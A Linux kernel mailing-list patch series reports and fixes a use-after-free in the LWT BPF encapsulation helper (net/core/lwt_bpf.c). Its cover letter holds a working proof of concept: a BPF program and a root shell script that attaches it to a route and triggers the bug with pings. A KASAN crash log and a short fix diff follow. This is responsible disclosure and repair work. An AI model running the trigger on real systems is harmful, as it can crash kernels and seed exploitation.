[PATCH net 0/1] net: lwt_bpf: preserve encap header across skb head realloc

[PATCH net 0/1] net: lwt_bpf: preserve encap header across skb head realloc

[Ren Wei]

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated a use-after-free issue in net/core/lwt_bpf.c.
The bug can be triggered by an LWT BPF program requesting more headroom
than the skb currently has, leading to a slab-use-after-free read.
We have tested it, and it should not affect any other functionality.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11304

We will provide detailed information about the bug in this email,
along with a PoC to trigger it.

=== details below ===

Bug details:

The BPF verifier permits an skb-backed bpf_dynptr_slice() pointer to
satisfy the helper's ARG_PTR_TO_MEM | MEM_RDONLY header argument.

In bpf_lwt_push_ip_encap(), skb_cow_head() is called to expand headroom.
If the skb headroom is insufficient or the skb is cloned,
skb_cow_head() invokes pskb_expand_head(), which allocates a new head
buffer and frees the old one. If the encapsulation header pointer hdr
points into the skb head, it becomes stale after reallocation.
Subsequent reads of iph and hdr in skb_postpush_rcsum(), UDP tunnel
header handling, and memcpy() lead to a use-after-free read.

Fix this by copying the encapsulation header into a local buffer if
hdr points into the skb head, preserving it across skb_cow_head().

Reproducer:

The reproducer attaches an LWT_XMIT BPF program to an IPv4 route via
"encap bpf xmit". The BPF program obtains an skb-backed dynptr slice
and calls bpf_lwt_push_encap(skb, BPF_LWT_ENCAP_IP, hdr, 256).
A subsequent packet transmission triggers skb_cow_head() reallocation.

We run the PoC in an x86 QEMU environment.

=== BEGIN poc.bpf.c ===
    // SPDX-License-Identifier: GPL-2.0
    #include <linux/bpf.h>
    #include <linux/ip.h>

    #define HDR_LEN 256

    #define SEC(name) __attribute__((section(name), used))
    #define __ksym __attribute__((section(".ksyms")))
    #define __weak __attribute__((weak))

    extern int bpf_dynptr_from_skb(struct __sk_buff *skb, __u64 flags,
    			       struct bpf_dynptr *ptr__uninit) __ksym __weak;
    extern void *bpf_dynptr_slice(const struct bpf_dynptr *ptr,
				  __u32 offset, void *buffer,
				  __u32 buffer__szk) __ksym __weak;

    static long (*bpf_lwt_push_encap)(struct __sk_buff *skb, __u32 type,
    				  void *hdr, __u32 len) =
    	(void *)BPF_FUNC_lwt_push_encap;

    SEC("lwt_xmit")
    int trigger(struct __sk_buff *skb)
    {
    	struct bpf_dynptr ptr;
    	void *hdr;

    	if (bpf_dynptr_from_skb(skb, 0, &ptr))
    		return BPF_OK;

    	if (skb->len < HDR_LEN)
    		return BPF_OK;

    	hdr = bpf_dynptr_slice(&ptr, 0, NULL, HDR_LEN);
    	if (!hdr)
    		return BPF_OK;

    	bpf_lwt_push_encap(skb, BPF_LWT_ENCAP_IP, hdr, HDR_LEN);
    	return BPF_OK;
    }

    char _license[] SEC("license") = "GPL";
=== END poc.bpf.c ===

=== BEGIN poc.sh ===
    #!/bin/sh
    set -eu

    DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
    ROUTE_CIDR=${ROUTE_CIDR:-10.0.0.0/24}
    SRC_IP=${SRC_IP:-10.0.0.1}
    DST_IP=${DST_IP:-10.0.0.2}
    PING_SIZE=${PING_SIZE:-400}
    PING_COUNT=${PING_COUNT:-10}
    DEV=${DEV:-dummy0}

    cleanup() {
    	ip route del "$ROUTE_CIDR" 2>/dev/null || true
    	ip link del "$DEV" 2>/dev/null || true
    	ip addr del "$SRC_IP/32" dev lo 2>/dev/null || true
    }

    trap cleanup EXIT

    echo 0 > /proc/sys/kernel/panic_on_warn

    ip route del "$ROUTE_CIDR" 2>/dev/null || true
    ip link del "$DEV" 2>/dev/null || true
    ip addr del "$SRC_IP/32" dev lo 2>/dev/null || true

    ip link add "$DEV" type dummy
    ip link set lo up
    ip addr add "$SRC_IP/32" dev lo
    ip link set "$DEV" up
    ip route add "$ROUTE_CIDR" dev "$DEV" \
        encap bpf xmit obj "$DIR/poc.bpf.o" sec lwt_xmit

    i=1
    while [ "$i" -le "$PING_COUNT" ]; do
    	ping -c 1 -W 1 -s "$PING_SIZE" -I "$SRC_IP" "$DST_IP" \
    		>/dev/null 2>&1 || true
    	i=$((i + 1))
    done
=== END poc.sh ===

=== BEGIN crash log ===
    [  638.779599] [  T10729] BUG: KASAN: slab-use-after-free in bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.779680] [  T10729] Read of size 256 at addr ffff88810c74e410 by task ping/10729
    [  638.779715] [  T10729] CPU: 3 UID: 0 PID: 10729 Comm: ping Not tainted 6.12.95 #2
    [  638.779727] [  T10729] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
    [  638.779749] [  T10729] Call Trace:
    [  638.779761] [  T10729]  <TASK>
    [  638.779765] [  T10729]  dump_stack_lvl+0x78/0xe0
    [  638.779831] [  T10729]  print_report+0xc6/0x620
    [  638.779888] [  T10729]  ? bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.779893] [  T10729]  ? srso_alias_return_thunk+0x5/0xfbef5
    [  638.779923] [  T10729]  ? __virt_addr_valid+0x1f3/0x3d0
    [  638.779976] [  T10729]  ? bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.779981] [  T10729]  kasan_report+0xd8/0x110
    [  638.779989] [  T10729]  ? bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.780000] [  T10729]  kasan_check_range+0xf4/0x1a0
    [  638.780015] [  T10729]  __asan_memcpy+0x23/0x60
    [  638.780021] [  T10729]  bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.780027] [  T10729]  ? srso_alias_return_thunk+0x5/0xfbef5
    [  638.780034] [  T10729]  bpf_lwt_xmit_push_encap+0x2b/0x40
    [  638.780053] [  T10729]  bpf_prog_62cb242b810c4a7f_trigger+0x6b/0x74
    [  638.780067] [  T10729]  run_lwt_bpf.isra.0+0x32f/0x8c0
    [  638.780148] [  T10729]  ? lwtunnel_xmit+0x102/0x4e0
    [  638.780157] [  T10729]  bpf_xmit+0x139/0x380
    [  638.780164] [  T10729]  lwtunnel_xmit+0x1f7/0x4e0
    [  638.780169] [  T10729]  ip_finish_output2+0x8be/0x1eb0
    [  638.780233] [  T10729]  ip_output+0x171/0x3b0
    [  638.780240] [  T10729]  ip_push_pending_frames+0x1e6/0x250
    [  638.780246] [  T10729]  ping_v4_sendmsg+0x719/0x16e0
    [  638.780343] [  T10729]  __sys_sendto+0x32e/0x3a0
    [  638.780395] [  T10729]  __x64_sys_sendto+0xe0/0x1c0
    [  638.780448] [  T10729]  do_syscall_64+0xc7/0x270
    [  638.780455] [  T10729]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
    [  638.780534] [  T10729]  </TASK>
=== END crash log ===

Best regards,
Luxiao Xu

Luxiao Xu (1):
  net: lwt_bpf: preserve encap header across skb head realloc

 net/core/lwt_bpf.c | 6 ++++++
 1 file changed, 6 insertions(+)

-- 
2.43.0

[PATCH net 1/1] net: lwt_bpf: preserve encap header across skb head realloc

[Ren Wei]

From: Luxiao Xu <rakukuip@gmail.com>

The BPF verifier permits an skb-backed bpf_dynptr_slice() pointer to
satisfy the helper's ARG_PTR_TO_MEM | MEM_RDONLY header argument.

In bpf_lwt_push_ip_encap(), skb_cow_head() is called to expand headroom.
If the skb headroom is insufficient or the skb is cloned,
skb_cow_head() invokes pskb_expand_head(), which allocates a new head
buffer and frees the old one. If the encapsulation header pointer hdr
points into the skb head, it becomes stale after reallocation.
Subsequent reads of iph and hdr in skb_postpush_rcsum(), UDP tunnel
header handling, and memcpy() lead to a use-after-free read.

Fix this by copying the encapsulation header into a local buffer if
hdr points into the skb head, preserving it across skb_cow_head().

Fixes: 52f278774e79 ("bpf: implement BPF_LWT_ENCAP_IP mode in bpf_lwt_push_encap")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Closes: https://bugtracker.nebusec.ai/f/11304
Assisted-by: LLM
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/core/lwt_bpf.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/net/core/lwt_bpf.c b/net/core/lwt_bpf.c
index da49364ec63d..15b753a67452 100644
--- a/net/core/lwt_bpf.c
+++ b/net/core/lwt_bpf.c
@@ -604,6 +604,7 @@ static int handle_gso_encap(struct sk_buff *skb, bool ipv4, int encap_len)
 
 int bpf_lwt_push_ip_encap(struct sk_buff *skb, void *hdr, u32 len, bool ingress)
 {
+	u8 hdr_buf[LWT_BPF_MAX_HEADROOM];
 	bool is_udp_tunnel;
 	struct iphdr *iph;
 	bool ipv4;
@@ -612,6 +613,11 @@ int bpf_lwt_push_ip_encap(struct sk_buff *skb, void *hdr, u32 len, bool ingress)
 	if (unlikely(len < sizeof(struct iphdr) || len > LWT_BPF_MAX_HEADROOM))
 		return -EINVAL;
 
+	if ((u8 *)hdr >= skb->head && (u8 *)hdr < skb_end_pointer(skb)) {
+		memcpy(hdr_buf, hdr, len);
+		hdr = hdr_buf;
+	}
+
 	/* validate protocol and length */
 	iph = (struct iphdr *)hdr;
 	if (iph->version == 4) {
-- 
2.43.0